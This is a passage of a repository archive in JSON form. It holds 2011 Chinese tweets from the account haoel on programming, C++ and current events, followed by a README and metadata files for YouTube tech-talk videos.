13:44:23+00:00,0,0,0,,为什么谷歌或外企要逃税呢？没钱吗？用这点钱来毁自己的名声值得吗？稍微经过独立思考就知道问题所在了。呵呵。@cxzj 外企逃税也很正常，中国有些会计和税务政策很变态。RT @EnochLu: 又给谷歌泼粪了，我还真不信谷歌会逃税．,,https://twitter.com/haoel/status/53814970709852160\n5686,53812688052158465,2011-04-01 13:35:19+00:00,0,0,0,,人品爆发了，一下子发现多了那么多的Followers。通通全部Following....,,https://twitter.com/haoel/status/53812688052158465\n5687,53458213009494017,2011-03-31 14:06:45+00:00,0,0,0,,把球队降级，把足协和官员关进监狱，然后换一批人重新开始，继续在原有的体制下进行假球，黑哨，和腐败。我们的制度永远是优越的。,,https://twitter.com/haoel/status/53458213009494017\n5688,53456181976502272,2011-03-31 13:58:41+00:00,0,0,0,,这两天我这个足球迷开始看中国足球了。比赛从来不看，但是一旦有闹剧或是有黑哨假球的时候，我就兴奋了。因为这才是中国足球最“专业”的地方嘛！http://video.sina.com.cn/p/sports/j/v/2011-03-30/203261298757.html,,https://twitter.com/haoel/status/53456181976502272\n5689,53329094795997184,2011-03-31 05:33:41+00:00,0,0,0,,@sagasw 你的文章很不错，挺好的，其实大家都是在分享自己的经历或是心得，殊途同归。目的都是为了分享和讨论。不一定非要比出个好坏的。,,https://twitter.com/haoel/status/53329094795997184\n5690,53121531303313408,2011-03-30 15:48:54+00:00,0,0,0,,@beyondwdq 谢谢。在CSDN上的第一篇博文是2003年了，写技术博客的时间不知不觉也有8年了。其实，我一开始的目的只是想找一个地方保存一下我的学习笔记而已，现在也就是分享和抒发自己的观点罢了。从未想要去推广。,,https://twitter.com/haoel/status/53121531303313408\n5691,53119576669569025,2011-03-30 15:41:08+00:00,0,0,0,,@kenny_yuan 不介意抬杠。也许是我例子举的不好。如果我是用那些诸如“12球称量”，“过桥问题”，”分水问题“等来作例子呢？这些问题好像也是很学术，很不实际，但是的确锻炼我们的思维能力。C++的那些BT内部细节和STL的BT也同样是在锻炼我们的编程思维能力。,,https://twitter.com/haoel/status/53119576669569025\n5692,53113288413810688,2011-03-30 15:16:09+00:00,1,0,0,,我学习C++最大的收获并不是STL的奇淫技七或是什么虚函数表或是什么对象的内存布局，而是透过这些知识看到后面的方法和思想。这就好像，我们高中学的几何证明题也许在实际上并没有用，但其的确是锻炼了我们的逻辑推理思维能力。,,https://twitter.com/haoel/status/53113288413810688\n5693,53111972408999936,2011-03-30 15:10:55+00:00,0,0,0,,@ripwu @sagasw C++有很多奇淫技巧，有的很BT，包括虚函数表和对像的内存布局，也许会有人觉得有点没意思，但我觉得很有意思也很有意义，一方面可以了解一门语言的实现细节，另一方面可以让我开阔思路。我从学习这些知识中受益很多。,,https://twitter.com/haoel/status/53111972408999936\n5694,53111658540826625,2011-03-30 15:09:40+00:00,0,0,0,,@Maple_Valley @sagasw 谢谢两位，欢迎经常来coolshell来批评我。,,https://twitter.com/haoel/status/53111658540826625\n5695,53111461525987328,2011-03-30 15:08:53+00:00,0,0,0,,@xidianw3 谢谢鼓励。,,https://twitter.com/haoel/status/53111461525987328\n5696,53111294273929216,2011-03-30 15:08:13+00:00,0,0,0,,@sagasw 老实说我真的没有宣传，Coolshell没有做过任何的推广。只不过，我以前的CSDN的博客比较让CSDN喜欢罢了。,,https://twitter.com/haoel/status/53111294273929216\n5697,53110970284908544,2011-03-30 15:06:56+00:00,0,0,0,,@sagasw 欢迎喷CoolShell，欢迎给我建议。你的那个贴子的确不错，比我写得好。C++博大精深，这样的文章很多，也很详细。我显然不是写得最好的，我只是希望用简单的几段话让C++的学习者们能够快速地感觉到要学好C++是什么个概念。,,https://twitter.com/haoel/status/53110970284908544\n5698,53092237634048000,2011-03-30 13:52:30+00:00,0,0,0,,@bnu_chenshuo 其实并不好，说得太简单了。你的建议很好。,,https://twitter.com/haoel/status/53092237634048000\n5699,52695467678646272,2011-03-29 11:35:53+00:00,0,0,0,,否定？！你从哪来看出来的？我说的是你如果想要了解底层你就要去学C语言。这个逻辑看不出来吗？@iyomumx 至少不是所有人都需要去理解底层，也不能因为不会C就否定一个程序员,,https://twitter.com/haoel/status/52695467678646272\n5700,52604157974155264,2011-03-29 05:33:03+00:00,0,0,0,,我很想知道你心中的优秀程序是什么样子@iyomumx 按这作者的看法，所有优秀的程序员都得从山顶洞开始 RT @dofine: 如何学好C语言 http://bit.ly/e6TMq2,,https://twitter.com/haoel/status/52604157974155264\n5701,43193810389434368,2011-03-03 06:19:41+00:00,0,0,0,,随着iPad2发布，以后见人用iPad，千万别问成——你用的是iPad~~2吧？,,https://twitter.com/haoel/status/43193810389434368\n5702,43168537027690496,2011-03-03 04:39:15+00:00,0,0,0,,@_zhaokun_ 当然知道。你还找得到我，呵呵。什么时候让@johnnynanjiang在他的服务器上建议个SSH代理，这样翻墙就更容易一些了。,,https://twitter.com/haoel/status/43168537027690496\n5703,42103524456271872,2011-02-28 06:07:17+00:00,0,0,0,,@kenny_yuan 谢谢！,,https://twitter.com/haoel/status/42103524456271872\n5704,41867859604942848,2011-02-27 14:30:50+00:00,1,0,0,,@lawrrencet TW走咨询师有三条路，一是靠媒体炒，通过翻译写blog出席媒体活动等（CSDN过来的那几个深谙此道），二是靠嘴皮子，但是太年轻了，很难忽悠客户，业务你不懂技术不熟，忽悠不动，三是靠扎实的技术，这要很实在的能力和经验。后两条路太难了，所以，只有第一条路了,,https://twitter.com/haoel/status/41867859604942848\n5705,36969283166670848,2011-02-14 02:05:38+00:00,0,0,0,,@hecaitou 让昆明的父母帮你代办一下就可以了。我以前就是这么搞的。写个情况说明和授权书邮寄回去就行了。最可笑的是，办回来的居然和我以前的ID号不一样，害得我又得邮回去重办。不过这是04年的事了，现在不清楚了。我也是昆明的。,,https://twitter.com/haoel/status/36969283166670848\n5706,31284916800983040,2011-01-29 09:38:00+00:00,0,0,0,,@andywuzh 最近的几篇文章观点地确有点强。呵呵。这也许是我并不是一个人云亦云的人。非常同意你所说的，我们应该经常换个角度思考，对什么事都应如此。,,https://twitter.com/haoel/status/31284916800983040\n5707,30209601194426369,2011-01-26 10:25:04+00:00,0,0,0,,@jamiesun_net 这和语言没有关系。,,https://twitter.com/haoel/status/30209601194426369\n5708,30209403659485184,2011-01-26 10:24:17+00:00,0,0,0,,@leafduo 也许吧。我Android的已经开始有点乱了，再加上C++不知道会不会更乱。,,https://twitter.com/haoel/status/30209403659485184\n5709,30208978575167488,2011-01-26 10:22:36+00:00,0,0,0,,@pengjianqing 要是样，就太没劲了,,https://twitter.com/haoel/status/30208978575167488\n5710,27053081872,2010-10-11 17:18:03+00:00,15,0,2,,Ubuntu 10.10 版发布了，日期是10年10月10日，好像时间还是GMT 10:10,,https://twitter.com/haoel/status/27053081872\n"
  },
  {
    "path": "videos/README.md",
    "content": "# How to Contribute\n\nInspired by [pyvideo](https://github.com/pyvideo/data/blob/main/CONTRIBUTING.rst), this folder contains the index files for videos, each video's details are stored in a JSON file.\n\n## JSON data structure\n\nTo contribute the file, please refer to [pyvideo](https://github.com/pyvideo/data/blob/main/CONTRIBUTING.rst#json-objects)'s JSON object definition.\n\nRequired fields for the JSON object are:\n\n| key           | value type       | details      |\n| ----------- | ---------- | ------- |\n| description   | rST string       | (see below)  |\n| speakers      | array of strings |              |\n| thumbnail_url | string           |              |\n| title         | string           |              |\n| recorded      | string           | (YYYY-MM-DD) |\n| videos        | array of objects |         |\n"
  },
  {
    "path": "videos/youtube-channel/easegress-api-bian-pai-yan-shi.json",
    "content": "{\n  \"copyright_text\": \"Younited Media GmbH Music (on behalf of Wavecont), and 1 Music Rights Societies\",\n  \"description\": \"\",\n  \"duration\": 201,\n  \"language\": \"zho\",\n  \"recorded\": \"2022-08-26\",\n  \"related_urls\": [\n    {\n      \"label\": \"YouTube channel\",\n      \"url\": \"https://www.youtube.com/@chenhaox/videos\"\n    }\n  ],\n  \"speakers\": [],\n  \"tags\": [],\n  \"thumbnail_url\": \"https://i.ytimg.com/vi_webp/H2i3UOO70Dc/maxresdefault.webp\",\n  \"title\": \"Easegress API \\u7f16\\u6392\\u6f14\\u793a\",\n  \"videos\": [\n    {\n      \"type\": \"youtube\",\n      \"url\": \"https://www.youtube.com/watch?v=H2i3UOO70Dc\"\n    }\n  ]\n}\n"
  },
  {
    "path": "videos/youtube-channel/google-doc-ji-ge-xiao-ji-qiao.json",
    "content": "{\n  \"copyright_text\": null,\n  \"description\": \"\",\n  \"duration\": 773,\n  \"language\": \"zho\",\n  \"recorded\": \"2020-06-07\",\n  \"related_urls\": [\n    {\n      \"label\": \"YouTube channel\",\n      \"url\": \"https://www.youtube.com/@chenhaox/videos\"\n    }\n  ],\n  \"speakers\": [],\n  \"tags\": [],\n  \"thumbnail_url\": \"https://i.ytimg.com/vi_webp/RoA65-vLV_0/maxresdefault.webp\",\n  \"title\": \"Google Doc \\u51e0\\u4e2a\\u5c0f\\u6280\\u5de7\",\n  \"videos\": [\n    {\n      \"type\": \"youtube\",\n      \"url\": \"https://www.youtube.com/watch?v=RoA65-vLV_0\"\n    }\n  ]\n}\n"
  },
  {
    "path": "videos/youtube-channel/guan-yu-nei-juan.json",
    "content": "{\n  \"copyright_text\": null,\n  \"description\": \"\",\n  \"duration\": 527,\n  \"language\": \"zho\",\n  \"recorded\": \"2020-11-04\",\n  \"related_urls\": [\n    {\n      \"label\": \"YouTube channel\",\n      \"url\": \"https://www.youtube.com/@chenhaox/videos\"\n    }\n  ],\n  \"speakers\": [],\n  \"tags\": [],\n  \"thumbnail_url\": \"https://i.ytimg.com/vi_webp/9kaTRKWpuvQ/maxresdefault.webp\",\n  \"title\": \"\\u5173\\u4e8e\\u5185\\u5377\",\n  \"videos\": [\n    {\n      \"type\": \"youtube\",\n      \"url\": \"https://www.youtube.com/watch?v=9kaTRKWpuvQ\"\n    }\n  ]\n}\n"
  },
  {
    "path": "videos/youtube-channel/ji-zhu-fen-xiang-distributed-lock-manager-chen-hao.json",
    "content": "{\n  \"copyright_text\": null,\n  \"description\": \"\",\n  \"duration\": 2663,\n  \"language\": \"zho\",\n  \"recorded\": \"2021-07-02\",\n  \"related_urls\": [\n    {\n      \"label\": \"YouTube channel\",\n      \"url\": \"https://www.youtube.com/@chenhaox/videos\"\n    }\n  ],\n  \"speakers\": [],\n  \"tags\": [],\n  \"thumbnail_url\": \"https://i.ytimg.com/vi/vFW1U1vimVs/maxresdefault.jpg\",\n  \"title\": \"\\u6280\\u672f\\u5206\\u4eab\\uff1aDistributed Lock Manager \\uff08\\u9648\\u7693\\uff09\",\n  \"videos\": [\n    {\n      \"type\": \"youtube\",\n      \"url\": \"https://www.youtube.com/watch?v=vFW1U1vimVs\"\n    }\n  ]\n}\n"
  },
  {
    "path": "videos/youtube-channel/ji-zhu-fen-xiang-easeagent-2-0-gong-neng-she-ji-he-dai-ma-shi-xian-chen-hao-zhao-kun-zhou-jin-ze.json",
    "content": "{\n  \"copyright_text\": null,\n  \"description\": \"\",\n  \"duration\": 4349,\n  \"language\": \"zho\",\n  \"recorded\": \"2022-03-11\",\n  \"related_urls\": [\n    {\n      \"label\": \"YouTube channel\",\n      \"url\": \"https://www.youtube.com/@chenhaox/videos\"\n    }\n  ],\n  \"speakers\": [],\n  \"tags\": [],\n  \"thumbnail_url\": \"https://i.ytimg.com/vi/S_iAidTEQR4/maxresdefault.jpg\",\n  \"title\": \"\\u6280\\u672f\\u5206\\u4eab\\uff1aEaseAgent 2.0 \\u529f\\u80fd\\u8bbe\\u8ba1\\u548c\\u4ee3\\u7801\\u5b9e\\u73b0\\uff08\\u9648\\u7693/\\u8d75\\u951f/\\u5468\\u9526\\u6cfd\\uff09\",\n  \"videos\": [\n    {\n      \"type\": \"youtube\",\n      \"url\": \"https://www.youtube.com/watch?v=S_iAidTEQR4\"\n    }\n  ]\n}\n"
  },
  {
    "path": "videos/youtube-channel/ji-zhu-fen-xiang-easegress-yuan-ma-jie-shao-zhang-bo-min.json",
    "content": "{\n  \"copyright_text\": null,\n  \"description\": \"\",\n  \"duration\": 4293,\n  \"language\": \"zho\",\n  \"recorded\": \"2021-12-19\",\n  \"related_urls\": [\n    {\n      \"label\": \"YouTube channel\",\n      \"url\": \"https://www.youtube.com/@chenhaox/videos\"\n    }\n  ],\n  \"speakers\": [],\n  \"tags\": [],\n  \"thumbnail_url\": \"https://i.ytimg.com/vi/_AFd_nzqSp0/maxresdefault.jpg\",\n  \"title\": \"\\u6280\\u672f\\u5206\\u4eab\\uff1aEasegress \\u6e90\\u7801\\u4ecb\\u7ecd \\uff08\\u5f20\\u535a\\u6c11\\uff09\",\n  \"videos\": [\n    {\n      \"type\": \"youtube\",\n      \"url\": \"https://www.youtube.com/watch?v=_AFd_nzqSp0\"\n    }\n  ]\n}\n"
  },
  {
    "path": "videos/youtube-channel/ji-zhu-fen-xiang-how-to-write-a-javaagent-yuan-wei.json",
    "content": "{\n  \"copyright_text\": null,\n  \"description\": \"\",\n  \"duration\": 2947,\n  \"language\": \"zho\",\n  \"recorded\": \"2021-07-02\",\n  \"related_urls\": [\n    {\n      \"label\": \"YouTube channel\",\n      \"url\": \"https://www.youtube.com/@chenhaox/videos\"\n    }\n  ],\n  \"speakers\": [],\n  \"tags\": [],\n  \"thumbnail_url\": \"https://i.ytimg.com/vi_webp/ujhqct2POLU/maxresdefault.webp\",\n  \"title\": \"\\u6280\\u672f\\u5206\\u4eab\\uff1aHow To Write a JavaAgent (\\u8881\\u4f1f)\",\n  \"videos\": [\n    {\n      \"type\": \"youtube\",\n      \"url\": \"https://www.youtube.com/watch?v=ujhqct2POLU\"\n    }\n  ]\n}\n"
  },
  {
    "path": "videos/youtube-channel/ji-zhu-fen-xiang-kubernetes-networking-model-zhao-kun.json",
    "content": "{\n  \"copyright_text\": null,\n  \"description\": \"\",\n  \"duration\": 2686,\n  \"language\": \"zho\",\n  \"recorded\": \"2021-05-18\",\n  \"related_urls\": [\n    {\n      \"label\": \"YouTube channel\",\n      \"url\": \"https://www.youtube.com/@chenhaox/videos\"\n    }\n  ],\n  \"speakers\": [],\n  \"tags\": [],\n  \"thumbnail_url\": \"https://i.ytimg.com/vi/HxS4s11rmyA/hqdefault.jpg\",\n  \"title\": \"\\u6280\\u672f\\u5206\\u4eab\\uff1aKubernetes Networking Model \\uff08\\u8d75\\u951f\\uff09\",\n  \"videos\": [\n    {\n      \"type\": \"youtube\",\n      \"url\": \"https://www.youtube.com/watch?v=HxS4s11rmyA\"\n    }\n  ]\n}\n"
  },
  {
    "path": "videos/youtube-channel/ji-zhu-fen-xiang-multiple-canary-stress-test-on-production-long-yun-zhang-bo-min.json",
    "content": "{\n  \"copyright_text\": null,\n  \"description\": \"\",\n  \"duration\": 4159,\n  \"language\": \"zho\",\n  \"recorded\": \"2022-01-21\",\n  \"related_urls\": [\n    {\n      \"label\": \"YouTube channel\",\n      \"url\": \"https://www.youtube.com/@chenhaox/videos\"\n    }\n  ],\n  \"speakers\": [],\n  \"tags\": [],\n  \"thumbnail_url\": \"https://i.ytimg.com/vi/HBVk-PpBUns/maxresdefault.jpg\",\n  \"title\": \"\\u6280\\u672f\\u5206\\u4eab\\uff1aMultiple Canary & Stress Test on Production \\uff08\\u9f99\\u97f5 & \\u5f20\\u535a\\u6c11\\uff09\",\n  \"videos\": [\n    {\n      \"type\": \"youtube\",\n      \"url\": \"https://www.youtube.com/watch?v=HBVk-PpBUns\"\n    }\n  ]\n}\n"
  },
  {
    "path": "videos/youtube-channel/ji-zhu-fen-xiang-prometheusshi-zen-yao-cun-chu-shu-ju-de-chen-hao.json",
    "content": "{\n  \"copyright_text\": null,\n  \"description\": \"\",\n  \"duration\": 3799,\n  \"language\": \"zho\",\n  \"recorded\": \"2021-02-23\",\n  \"related_urls\": [\n    {\n      \"label\": \"YouTube channel\",\n      \"url\": \"https://www.youtube.com/@chenhaox/videos\"\n    }\n  ],\n  \"speakers\": [],\n  \"tags\": [],\n  \"thumbnail_url\": \"https://i.ytimg.com/vi/qB40kqhTyYM/maxresdefault.jpg\",\n  \"title\": \"\\u6280\\u672f\\u5206\\u4eab\\uff1aPrometheus\\u662f\\u600e\\u4e48\\u5b58\\u50a8\\u6570\\u636e\\u7684\\uff08\\u9648\\u7693\\uff09\",\n  \"videos\": [\n    {\n      \"type\": \"youtube\",\n      \"url\": \"https://www.youtube.com/watch?v=qB40kqhTyYM\"\n    }\n  ]\n}\n"
  },
  {
    "path": "videos/youtube-channel/ji-zhu-fen-xiang-qi-ye-ji-fu-wu-zhu-ce-fa-xian-long-yun.json",
    "content": "{\n  \"copyright_text\": null,\n  \"description\": \"\",\n  \"duration\": 3182,\n  \"language\": \"zho\",\n  \"recorded\": \"2021-11-05\",\n  \"related_urls\": [\n    {\n      \"label\": \"YouTube channel\",\n      \"url\": \"https://www.youtube.com/@chenhaox/videos\"\n    }\n  ],\n  \"speakers\": [],\n  \"tags\": [],\n  \"thumbnail_url\": \"https://i.ytimg.com/vi/gf2TLd8o_rc/maxresdefault.jpg\",\n  \"title\": \"\\u6280\\u672f\\u5206\\u4eab\\uff1a\\u4f01\\u4e1a\\u7ea7\\u670d\\u52a1\\u6ce8\\u518c\\u53d1\\u73b0\\uff08\\u9f99\\u97f5\\uff09\",\n  \"videos\": [\n    {\n      \"type\": \"youtube\",\n      \"url\": \"https://www.youtube.com/watch?v=gf2TLd8o_rc\"\n    }\n  ]\n}\n"
  },
  {
    "path": "videos/youtube-channel/ji-zhu-fen-xiang-sledge-serverless-wasm-runtime-wu-yi-heng.json",
    "content": "{\n  \"copyright_text\": null,\n  \"description\": \"\",\n  \"duration\": 2159,\n  \"language\": \"zho\",\n  \"recorded\": \"2021-05-19\",\n  \"related_urls\": [\n    {\n      \"label\": \"YouTube channel\",\n      \"url\": \"https://www.youtube.com/@chenhaox/videos\"\n    }\n  ],\n  \"speakers\": [],\n  \"tags\": [],\n  \"thumbnail_url\": \"https://i.ytimg.com/vi/DpGof54UG-g/maxresdefault.jpg\",\n  \"title\": \"\\u6280\\u672f\\u5206\\u4eab\\uff1aSledge: Serverless + WASM Runtime \\uff08\\u5434\\u6021\\u6052\\uff09\",\n  \"videos\": [\n    {\n      \"type\": \"youtube\",\n      \"url\": \"https://www.youtube.com/watch?v=DpGof54UG-g\"\n    }\n  ]\n}\n"
  },
  {
    "path": "videos/youtube-channel/ji-zhu-fen-xiang-virtual-memory-ji-zhu-jie-shao-zou-ying-jie.json",
    "content": "{\n  \"copyright_text\": null,\n  \"description\": \"\",\n  \"duration\": 2744,\n  \"language\": \"zho\",\n  \"recorded\": \"2021-09-29\",\n  \"related_urls\": [\n    {\n      \"label\": \"YouTube channel\",\n      \"url\": \"https://www.youtube.com/@chenhaox/videos\"\n    }\n  ],\n  \"speakers\": [],\n  \"tags\": [],\n  \"thumbnail_url\": \"https://i.ytimg.com/vi/fXVZV-eMEwc/maxresdefault.jpg\",\n  \"title\": \"\\u6280\\u672f\\u5206\\u4eab\\uff1aVirtual Memory \\u6280\\u672f\\u4ecb\\u7ecd \\uff08\\u90b9\\u82f1\\u6770\\uff09\",\n  \"videos\": [\n    {\n      \"type\": \"youtube\",\n      \"url\": \"https://www.youtube.com/watch?v=fXVZV-eMEwc\"\n    }\n  ]\n}\n"
  },
  {
    "path": "videos/youtube-channel/ji-zhu-fen-xiang-yong-easegress-webassembly-zuo-miao-sha-zhang-bo-min.json",
    "content": "{\n  \"copyright_text\": null,\n  \"description\": \"\",\n  \"duration\": 2855,\n  \"language\": \"zho\",\n  \"recorded\": \"2021-09-10\",\n  \"related_urls\": [\n    {\n      \"label\": \"YouTube channel\",\n      \"url\": \"https://www.youtube.com/@chenhaox/videos\"\n    }\n  ],\n  \"speakers\": [],\n  \"tags\": [],\n  \"thumbnail_url\": \"https://i.ytimg.com/vi_webp/InPc5aIAu_o/maxresdefault.webp\",\n  \"title\": \"\\u6280\\u672f\\u5206\\u4eab\\uff1a\\u7528 Easegress + WebAssembly \\u505a\\u79d2\\u6740 \\uff08\\u5f20\\u535a\\u6c11\\uff09\",\n  \"videos\": [\n    {\n      \"type\": \"youtube\",\n      \"url\": \"https://www.youtube.com/watch?v=InPc5aIAu_o\"\n    }\n  ]\n}\n"
  },
  {
    "path": "videos/youtube-channel/jing-yan-fen-xiang-fei-ji-suan-ji-zhuan-ye-de-ren-ru-he-zhuan-xing-cheng-xu-yuan-su-chen.json",
    "content": "{\n  \"copyright_text\": null,\n  \"description\": \"\",\n  \"duration\": 2927,\n  \"language\": \"zho\",\n  \"recorded\": \"2022-02-14\",\n  \"related_urls\": [\n    {\n      \"label\": \"YouTube channel\",\n      \"url\": \"https://www.youtube.com/@chenhaox/videos\"\n    }\n  ],\n  \"speakers\": [],\n  \"tags\": [],\n  \"thumbnail_url\": \"https://i.ytimg.com/vi/Lc_dWfiBPI8/maxresdefault.jpg\",\n  \"title\": \"\\u7ecf\\u9a8c\\u5206\\u4eab\\uff1a\\u975e\\u8ba1\\u7b97\\u673a\\u4e13\\u4e1a\\u7684\\u4eba\\u5982\\u4f55\\u8f6c\\u884c\\u7a0b\\u5e8f\\u5458\\uff08\\u5bbf\\u741b\\uff09\",\n  \"videos\": [\n    {\n      \"type\": \"youtube\",\n      \"url\": \"https://www.youtube.com/watch?v=Lc_dWfiBPI8\"\n    }\n  ]\n}\n"
  },
  {
    "path": "videos/youtube-channel/megaease-cloud-yan-shi.json",
    "content": "{\n  \"copyright_text\": \"Younited Media GmbH Music (on behalf of Wavecont)\",\n  \"description\": \"\",\n  \"duration\": 384,\n  \"language\": \"zho\",\n  \"recorded\": \"2022-12-05\",\n  \"related_urls\": [\n    {\n      \"label\": \"YouTube channel\",\n      \"url\": \"https://www.youtube.com/@chenhaox/videos\"\n    }\n  ],\n  \"speakers\": [],\n  \"tags\": [],\n  \"thumbnail_url\": \"https://i.ytimg.com/vi/j5nUipL7Zic/maxresdefault.jpg\",\n  \"title\": \"MegaEase Cloud \\u6f14\\u793a\",\n  \"videos\": [\n    {\n      \"type\": \"youtube\",\n      \"url\": \"https://www.youtube.com/watch?v=j5nUipL7Zic\"\n    }\n  ]\n}\n"
  },
  {
    "path": "videos/youtube-channel/ruan-jian-jia-gou-de-yan-jin.json",
    "content": "{\n  \"copyright_text\": \"HAAWK for a 3rd Party (on behalf of PeacockMusic); HAAWK Publishing, BMI - Broadcast Music Inc., and 2 Music Rights Societies\",\n  \"description\": \"\",\n  \"duration\": 116,\n  \"language\": \"zho\",\n  \"recorded\": \"2023-04-06\",\n  \"related_urls\": [\n    {\n      \"label\": \"YouTube channel\",\n      \"url\": \"https://www.youtube.com/@chenhaox/videos\"\n    }\n  ],\n  \"speakers\": [],\n  \"tags\": [],\n  \"thumbnail_url\": \"https://i.ytimg.com/vi/6X74pEJ58-E/maxresdefault.jpg\",\n  \"title\": \"\\u8f6f\\u4ef6\\u67b6\\u6784\\u7684\\u6f14\\u8fdb\",\n  \"videos\": [\n    {\n      \"type\": \"youtube\",\n      \"url\": \"https://www.youtube.com/watch?v=6X74pEJ58-E\"\n    }\n  ]\n}\n"
  },
  {
    "path": "videos/youtube-channel/yong-easegress-ba-ge-chong-api-bian-pai-chu-yi-ge-fan-yi-ji-qi-ren.json",
    "content": "{\n  \"copyright_text\": null,\n  \"description\": \"\",\n  \"duration\": 90,\n  \"language\": \"zho\",\n  \"recorded\": \"2022-08-18\",\n  \"related_urls\": [\n    {\n      \"label\": \"YouTube channel\",\n      \"url\": \"https://www.youtube.com/@chenhaox/videos\"\n    }\n  ],\n  \"speakers\": [],\n  \"tags\": [],\n  \"thumbnail_url\": \"https://i.ytimg.com/vi/mDIAk_6ISkw/maxresdefault.jpg\",\n  \"title\": \"\\u7528 Easegress \\u628a\\u5404\\u79cd API \\u7f16\\u6392\\u51fa\\u4e00\\u4e2a\\u7ffb\\u8bd1\\u673a\\u5668\\u4eba\",\n  \"videos\": [\n    {\n      \"type\": \"youtube\",\n      \"url\": \"https://www.youtube.com/watch?v=mDIAk_6ISkw\"\n    }\n  ]\n}\n"
  },
  {
    "path": "weibo/README.md",
    "content": "文件列表：\n\n- `左耳朵耗子.pdf`: 可见的微博内容。\n\n通过 [Speechless](https://github.com/meterscao/Speechless) 工具导出，为 PDF 格式。由于微博设置了仅半年内可见，只能导出半年内的微博内容。\n"
  }
]